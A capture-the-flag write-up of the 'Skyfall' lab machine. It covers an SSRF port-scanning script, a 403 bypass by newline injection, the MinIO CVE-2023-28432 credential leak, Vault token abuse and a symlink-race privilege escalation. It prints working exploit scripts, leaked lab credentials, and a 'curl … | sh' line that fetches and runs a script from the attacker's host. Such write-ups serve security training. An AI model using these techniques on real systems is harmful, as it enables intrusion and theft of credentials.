Skyfall

Recon

nmap_scan.log
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.254:22
Open 10.10.11.254:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.10.11.254
Depending on the complexity of the script, results may take some time to appear.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-19 17:32 UTC
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 17:32
Completed Parallel DNS resolution of 1 host. at 17:32, 0.04s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:32
Scanning 10.10.11.254 [2 ports]
Discovered open port 22/tcp on 10.10.11.254
Discovered open port 80/tcp on 10.10.11.254
Completed Connect Scan at 17:32, 0.16s elapsed (2 total ports)
Initiating Service scan at 17:32
Scanning 2 services on 10.10.11.254
Completed Service scan at 17:32, 6.26s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.254.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 5.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.52s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
Nmap scan report for 10.10.11.254
Host is up, received user-set (0.091s latency).
Scanned at 2024-06-19 17:32:36 UTC for 12s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 6570f71247073a888e27e9cb445d10fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCVqvI8vGs8EIUAAUiRze8kfKmYh9ETTUei3zRd1wWWLRBjSm+soBLfclIUP69cNtQOa961nyt2/BOwuR35cLR4=
|   256 74483307b7889d320e3bec16aab4c8fe (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINk0VgEkDNZoIJwcG5LEVZDZkEeSRHLBmAOtd/pduzRW
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: Skyfall - Introducing Sky Storage!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:32
Completed NSE at 17:32, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds
└─$ grep sky /etc/hosts
10.10.11.254    skyfall.htb demo.skyfall.htb

HTTP (80)

Application has demo version and it's on demo subdomain.

Writeup.png

Demo

Demo creds: guest:guest

Writeup-1.png

On login we are given a cookie which looks like a Flask cookie:

└─$ flask-unsign -c '.eJwljkFqBDEMBP_icw62ZcnSfmaQ7BYJgQRmdk8hf89AjtVQTf2UI09c7-XxPF94K8fHLo-SzjkjPJZpj-FQJVoCm02o9eCWvWrU5bBB6MaLyEjZBg9imsKB1M3coM1qVFbu0ywAR9jU-wKNrW7eNKSPvBWv0mWILS13yOvC-V_TblzXmcfz-xNf9yC5KN1zSXQzqrERM33AM2wbGaZDnMrvH5PUP4E.ZnMXGg.c7a2owg0Vt-LiyI_6Jc7Zuuzsl8' -d
{'_fresh': True, '_id': 'fa5f7bbabc982b4ae8833c6e9716312b51f208b0cae943e295c3393859454353765bef8d551e8190b05852799beeaeb978b51e1590d5d34624f765a0626469c8', '_user_id': '1', 'csrf_token': '6fc3faafc6b29930bdeb7fa4eafb9d939e7ae6a3'}
Writeup-2.png

XSS

We have an Escalate page which says that admins will check it out. Possible XSS to hijack the session cookie. After doing submit the request was not submitted, so I guess the form is just placeholder!

SSRF

Possible SSRF via fetch:

Writeup-3.png
import asyncio
import aiohttp

URL = 'http://demo.skyfall.htb/fetch'
COOKIES = {'session': '.eJwljkFqBDEMBP_icw62ZcnSfmaQ7BYJgQRmdk8hf89AjtVQTf2UI09c7-XxPF94K8fHLo-SzjkjPJZpj-FQJVoCm02o9eCWvWrU5bBB6MaLyEjZBg9imsKB1M3coM1qVFbu0ywAR9jU-wKNrW7eNKSPvBWv0mWILS13yOvC-V_TblzXmcfz-xNf9yC5KN1zSXQzqrERM33AM2wbGaZDnMrvH5PUP4E.ZnMYBA.5hVw-AC8sMXkr3SNpsf2X54vNIA'}

async def fetch(session, port):
    async with session.post(URL, cookies=COOKIES, data={'url': f'http://0:{port}'}) as resp:
        return await resp.text()

async def main():
    start = 1
    limit = 100  
    async with aiohttp.ClientSession() as session:
        while start < 65000:
            tasks = [
                fetch(session, port)
                for port in range(start, start + limit)
            ]
            pages = await asyncio.gather(*tasks)
            for i, page in enumerate(pages):
                port = start + i
                print(f'\rTrying Port: {port}', end='')
                if 'Max retries exceeded with url' in page:
                    continue

                print(f'\nPort Valid: {port}!')

            start += limit

if __name__ == '__main__':
    asyncio.run(main())

The only valid port seems to be 5005 up to 42600 ports.

└─$ py ssrf.py
Trying Port: 5005
Port Valid: 5005!
Trying Port: 42600

The port seems to be current app port, which is both good and bad. We have few pages with restricted access and we could view them using ssrf.

Trying to get internal page gives error:

Writeup-6.png

Files

In the Files tab we have Welcome.pdf which contains project description and possible username:

**Aurora Skyy** 
Software Developer 
Sky Storage Team

Download file takes filename of file to download it.

Writeup-4.png

Filename like ./Welcome.pdf is invalid, so the application sanitizes and returns only matching filename not path.

After messing around with Rename File I got an error:

Writeup-5.png

Metrics (403 Bypass)

/metrics gives 403, bypass via SSRF didn't work. There's many ways of bypassing 403, if we are lucky the authentication might not be based on session cookies.

Tool to bypass 403/40X response codes. devploit/nomore403

└─$ nomore403 -u http://demo.skyfall.htb/metrics -H 'Cookie: session=.eJwljkFqBDEMBP_icw62ZcnSfmaQ7BYJgQRmdk8hf89AjtVQTf2UI09c7-XxPF94K8fHLo-SzjkjPJZpj-FQJVoCm02o9eCWvWrU5bBB6MaLyEjZBg9imsKB1M3coM1qVFbu0ywAR9jU-wKNrW7eNKSPvBWv0mWILS13yOvC-V_TblzXmcfz-xNf9yC5KN1zSXQzqrERM33AM2wbGaZDnMrvH5PUP4E.ZnMjHQ.qqPoLPLZyBZStuRW79ltyN1eWbg' -f /opt/nomore403/payloads
Target:                 http://demo.skyfall.htb/metrics
Headers:                {User-Agent nomore403}
Headers:                {Cookie  session=.eJwljkFqBDEMBP_icw62ZcnSfmaQ7BYJgQRmdk8hf89AjtVQTf2UI09c7-XxPF94K8fHLo-SzjkjPJZpj-FQJVoCm02o9eCWvWrU5bBB6MaLyEjZBg9imsKB1M3coM1qVFbu0ywAR9jU-wKNrW7eNKSPvBWv0mWILS13yOvC-V_TblzXmcfz-xNf9yC5KN1zSXQzqrERM33AM2wbGaZDnMrvH5PUP4E.ZnMjHQ.qqPoLPLZyBZStuRW79ltyN1eWbg}
Proxy:                  false
User Agent:             nomore403
Method:                 GET
Payloads folder:        /opt/nomore403/payloads
Custom bypass IP:       false
Follow Redirects:       false
Rate Limit detection:   false
Timeout (ms):           6000
Delay (ms):             0
Techniques:             verbs, verbs-case, headers, endpaths, midpaths, http-versions, path-case
Verbose:                false

━━━━━━━━━━━━━━━ VERB TAMPERING ━━━━━━━━━━━━━━━
405       327 bytes TRACE

━━━━━━━ VERB TAMPERING CASE SWITCHING ━━━━━━━━

━━━━━━━━━━━━━━━━━━ HEADERS ━━━━━━━━━━━━━━━━━━━

━━━━━━━━━━━━━━━ CUSTOM PATHS ━━━━━━━━━━━━━━━━━
500       855 bytes http://demo.skyfall.htb/metrics.html
200     45315 bytes http://demo.skyfall.htb/metrics%0A
302       428 bytes http://demo.skyfall.htb/#metrics
302       428 bytes http://demo.skyfall.htb/#?metrics
302       428 bytes http://demo.skyfall.htb///?anythingmetrics
302       428 bytes http://demo.skyfall.htb/??metrics
302       428 bytes http://demo.skyfall.htb/???metrics
302       428 bytes http://demo.skyfall.htb/?metrics

━━━━━━━━━━━━━━━ HTTP VERSIONS ━━━━━━━━━━━━━━━━

━━━━━━━━━━━━ PATH CASE SWITCHING ━━━━━━━━━━━━━

Note: 403 lines removed from output, there was a lot D:

Welp, newline injection in url is new, but it gives us 200 response!

Writeup-7.png

On last line we see interesting domain, update /etc/hosts

minio_endpoint_url | demo.skyfall.htb | http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster

CVE-2023-28432 Minio - Information Disclosure

GET request didn't work, but the post request worked.

└─$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify -s | jq
{
  "MinioEndpoints": [
    {
      "Legacy": false,
      "SetCount": 1,
      "DrivesPerSet": 4,
      "Endpoints": [
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node1:9000",
          "Path": "/data1",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": true
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node2:9000",
          "Path": "/data1",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": false
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node1:9000",
          "Path": "/data2",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": true
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node2:9000",
          "Path": "/data2",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": false
        }
      ],
      "CmdLine": "http://minio-node{1...2}/data{1...2}",
      "Platform": "OS: linux | Arch: amd64"
    }
  ],
  "MinioEnv": {
    "MINIO_ACCESS_KEY_FILE": "access_key",
    "MINIO_BROWSER": "off",
    "MINIO_CONFIG_ENV_FILE": "config.env",
    "MINIO_KMS_SECRET_KEY_FILE": "kms_master_key",
    "MINIO_PROMETHEUS_AUTH_TYPE": "public",
    "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
    "MINIO_ROOT_PASSWORD_FILE": "secret_key",
    "MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
    "MINIO_ROOT_USER_FILE": "access_key",
    "MINIO_SECRET_KEY_FILE": "secret_key",
    "MINIO_UPDATE": "off",
    "MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
  }
}

MinIO (Cloud)

MinIO CLI tool can be used to use the cloud via terminal: https://github.com/minio/mcalias set docs: https://min.io/docs/minio/linux/reference/minio-mc/mc-alias-set.html

└─$ ./mc alias set test02 http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Added `test02` successfully.

List buckets

└─$ ./mc ls test02/
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-07 19:08:01 EST]     0B guest/
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-07 23:58:45 EST]     0B rsilva/
└─$ ./mc tree -f test02/
test02/
├─ askyy
│  ├─ Welcome.pdf
│  └─ home_backup.tar.gz
├─ btanner
│  └─ Welcome.pdf
├─ emoneypenny
│  └─ Welcome.pdf
├─ gmallory
│  └─ Welcome.pdf
├─ guest
│  ├─ 0:5005
│  └─ Welcome.pdf
├─ jbond
│  └─ Welcome.pdf
├─ omansfield
│  └─ Welcome.pdf
└─ rsilva
   └─ Welcome.pdf

Download the backup

└─$ ./mc get test02/askyy/home_backup.tar.gz ./home_backup.tgz
└─$ tar -xvzf home_backup.tgz
./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed

The contents of backup has nothing, all file are empty or defaults.

In ls docs: --versions: Directs mc ls to operate on all object versions that exist in the bucket.

└─$ ./mc ls --recursive --versions test02/
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-08 00:35:28 EST]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-08 00:35:36 EST]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-08 00:35:56 EST]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-08 00:36:02 EST]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 19:08:01 EST]     0B guest/
[2024-06-19 14:12:49 EDT] 3.6KiB STANDARD null v1 PUT guest/0:5005
[2023-11-07 19:08:05 EST]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-08 00:35:45 EST]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-08 00:36:09 EST]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-07 23:58:45 EST]     0B rsilva/
[2023-11-08 00:35:51 EST]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdf

cp allows using version number:

└─$ ./mc cp --version-id 3c498578-8dfe-43b7-b679-32a3fe42018f test02/askyy/home_backup.tar.gz home_backup.tgz

It has more files. It includes project https://github.com/ahzhezhe/terraform-generator

Current project version is 6.4.2, so backup is really old. Anyway it has nothing since it's an opensource project and no external commits were made.

└─$ cat package.json | jq .version
"5.3.2"

We can see differences between versions via diff command:

└─$ ./mc diff ./home_backup_v1 home_backup_v2 | grep -v terra
! /home/woyag/Desktop/Rooms/Skyfall/home_backup_v2/.bash_history
! /home/woyag/Desktop/Rooms/Skyfall/home_backup_v2/.bashrc
! /home/woyag/Desktop/Rooms/Skyfall/home_backup_v2/.ssh/authorized_keys
< /home/woyag/Desktop/Rooms/Skyfall/home_backup_v1/.ssh/id_rsa
< /home/woyag/Desktop/Rooms/Skyfall/home_backup_v1/.ssh/id_rsa.pub
< /home/woyag/Desktop/Rooms/Skyfall/home_backup_v1/.viminfo
! /home/woyag/Desktop/Rooms/Skyfall/home_backup_v2/home_backup.tgz

┌──(woyag㉿kraken)-[~/Desktop/Rooms/Skyfall]
└─$ ./mc diff ./home_backup_v2 home_backup_v3
! /home/woyag/Desktop/Rooms/Skyfall/home_backup_v3/.bashrc
! /home/woyag/Desktop/Rooms/Skyfall/home_backup_v3/home_backup.tgz

└─$ diff home_backup_v2/.bashrc home_backup_v3/.bashrc
43,45d42
< export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
< export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

Nice, another credentials.

Now we need vault program,https://min.io/docs/kes/integrations/hashicorp-vault-keystore/https://developer.hashicorp.com/vault/install

└─$ curl -LO https://releases.hashicorp.com/vault/1.17.0/vault_1.17.0_linux_amd64.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  141M  100  141M    0     0  1507k      0  0:01:36  0:01:36 --:--:-- 1542k
└─$ unzip vault_1.17.0_linux_amd64.zip
Archive:  vault_1.17.0_linux_amd64.zip
  inflating: LICENSE.txt
  inflating: vault
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
└─$ ./vault login
Token (will be hidden):
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.

Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor       rByv1coOBC9ITZpzqbDtTUm8
token_duration       432648h6m35s
token_renewable      true
token_policies       ["default" "developers"]
identity_policies    []
policies             ["default" "developers"]

Environment variables was not enough, needed to issue login command.

Most commands from docs were blocked due to access https://developer.hashicorp.com/vault/docs/commands/list Since token is part of developers we should be able to do something.

SSH was interesting, but in needs a role. List all roles related to ssh:

└─$ ./vault list ssh/roles

Keys
----
admin_otp_key_role
dev_otp_key_role
└─$ ./vault ssh -mode=otp -role=dev_otp_key_role askyy@skyfall.htb
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 7885fdfa-6de7-f6ed-600f-f9234352b706
The authenticity of host 'skyfall.htb (10.10.11.254)' cant be established.
ED25519 key fingerprint is SHA256:mUK/F6yhenOEZEcLnWWWl3FVk3PiHC8ETKpL3Sz773c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes #
Warning: Permanently added 'skyfall.htb' (ED25519) to the list of known hosts.
(askyy@skyfall.htb) Password: # Enter OTP Code Above
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$

Note: sudo apt intall sshpass

User.txt

askyy@skyfall:~$ cat user.txt
d16a4ce09fc316af3d1e7cf0cd9bcd9e

Privilege Escalation (root)

askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
askyy@skyfall:~$ curl 10.10.16.75/lp.sh | sh | tee lp.log
╔══════════╣ Container related tools present (if any):
/usr/bin/docker
/usr/sbin/lxc
/usr/bin/runc
...
╔══════════╣ Unix Sockets Listening
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets
...
/run/containerd/containerd.sock
/run/containerd/containerd.sock.ttrpc
...
/run/dbus/system_bus_socket
  └─(Read Write)
/run/docker.sock
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
...

We don't have permissions to access docker binary.

Going back to sudo binary we can use help to see what it's doing. We don't have access to any files in command.

askyy@skyfall:/etc$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose        enable verbose output
  -d, --debug          enable debugging output to file (extra logging)
  -c, --config=PATH    path to configuration file

Help Options:
  -h, --help           Show this help message

askyy@skyfall:/tmp/tmp.RWmzkkrkJB$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vhd
Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose        enable verbose output
  -d, --debug          enable debugging output to file (extra logging)
  -c, --config=PATH    path to configuration file

Help Options:
  -h, --help           Show this help message

askyy@skyfall:/tmp/tmp.RWmzkkrkJB$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:/tmp/tmp.RWmzkkrkJB$ ls -la
total 12
drwx------  2 askyy askyy 4096 Jun 20 08:20 .
drwxrwxrwt 13 root  root  4096 Jun 20 08:20 ..
-rw-------  1 root  root   590 Jun 20 08:20 debug.log

The program creates/overwrites debug.log, but we can't read it because root creates it.

Race Condition

Since the file is created no matter what and accessed to write contents we can use race condition to get the desired output, specifically Symlink Race! Symlink Race - Blog post: https://hackmd.io/@bachtam2001/BkZkudoLq#Example

race.py:

import time
import os

target = 'debug.log' 
leak = 'test.log' 
sleep = 1 / 1000

try:
    os.unlink(target)
    os.symlink("/dev/null", target)
    time.sleep(sleep)
    os.unlink(target)
    os.symlink(leak, target)
    time.sleep(sleep)
except Exception as e:
    print(f'Error: {e}')

race.sh:

#!/bin/bash
CHECK_FILE="ls -l test.log"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
   sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd &
   python3 race.py &
   wait
   new=$($CHECK_FILE)
done
echo "Stop..."
  1. Create race.py

  2. Create race.sh

  3. Create target file (e.g.: test.log)

  4. Run race.sh

After running it for few minutes we get a hit!

...
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
Stop...
askyy@skyfall:/tmp/tmp.MpRK4Ina2Y$ ls -l
total 12
lrwxrwxrwx 1 askyy askyy   8 Jun 26 04:37 debug.log -> test.log
-rw-rw-r-- 1 askyy askyy 288 Jun 26 04:32 race.py
-rw-rw-r-- 1 askyy askyy 247 Jun 26 04:36 race.sh
-rw-rw-r-- 1 askyy askyy 590 Jun 26 04:37 test.log
askyy@skyfall:/tmp/tmp.MpRK4Ina2Y$ cat test.log
2024/06/26 04:37:29 Initializing logger...
2024/06/26 04:37:29 Reading: /etc/vault-unseal.yaml
2024/06/26 04:37:29 Security Risk!
2024/06/26 04:37:29 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/06/26 04:37:29 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/06/26 04:37:29 Check interval: 5s
2024/06/26 04:37:29 Max checks: 5
2024/06/26 04:37:29 Establishing connection to Vault...
2024/06/26 04:37:29 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/06/26 04:37:29 Checking seal status
2024/06/26 04:37:29 Vault sealed: false
└─$ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
└─$ ./vault ssh -mode=otp -role=admin_otp_key_role root@skyfall.htb

Root.txt

root@skyfall:~# cat root.txt
f6962e26621e4e128b75cb6b2dd97e05

Last updated